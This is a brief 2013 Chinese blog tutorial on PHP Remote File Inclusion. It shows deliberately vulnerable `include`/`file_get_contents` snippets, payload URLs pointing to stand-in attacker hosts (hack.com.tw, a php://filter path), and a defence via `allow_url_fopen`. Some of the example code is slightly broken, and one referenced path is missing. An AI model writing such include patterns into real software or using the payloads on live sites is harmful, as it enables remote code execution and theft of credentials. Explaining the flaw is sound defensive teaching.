2013
Jul
07

Remote File Inclusion 的縮寫是 「RFI」,這是指駭客透過外部檔案,來攻擊 Web 系統。

駭客可以先找一個網站空間,建立一個 PHP 的檔案,然後藉由輸入特殊的路徑,讓你的系統去載入這個 PHP,再透過 PHP Script 取得管理員的帳號; 密碼,或是會員資料。

Remote file 路徑

php include 漏洞範例
  1. <?php
  2.  
  3. $page = $_GET['page'];
  4. include $page;
  5.  

假如我們傳入上述的路徑,那麼頁面就會去執行 http://hack.com.tw/hackCode.php 這駭客寫好的 PHP 程式,而且任何 PHP Script 都會執行。

PHP Filter

php filter 漏洞範例
  1.  
  2. $content = file_get_contents($GET['file']);
  3.  
  4. echo $content. "\n";
  5.  
  6. $f = fopen($a, 'r');
  7. while (!feof($f)) {
  8. $s = fgets($f);
  9. echo $s;
  10. }
  11.  
  12. echo readFile($a) . "\n";
  • php://filter/resource=http://hack.xx.com.tw/test.php

除了直接輸入外部 PHP 路徑之外,PHP 還有一個 Filter 的功能,可以直接去擷取一個 PHP 檔案的內容,上面的語法,將會把 「http://hack.xx.com.tw/test.php」的檔案回傳。

防護 RFI

PHP 中有此淈洞的 function 如下 : include , include_once, fopen, file_get_contents, require, require_once.

透過修改 PHP ini 的設定 「allow_url_fopen」,這個值可以決定 PHP 是否可以載入外部的 PHP Script ,我們可以設定 allow_url_fopen = false ,來防止相關的攻擊。


回應 (Leave a comment)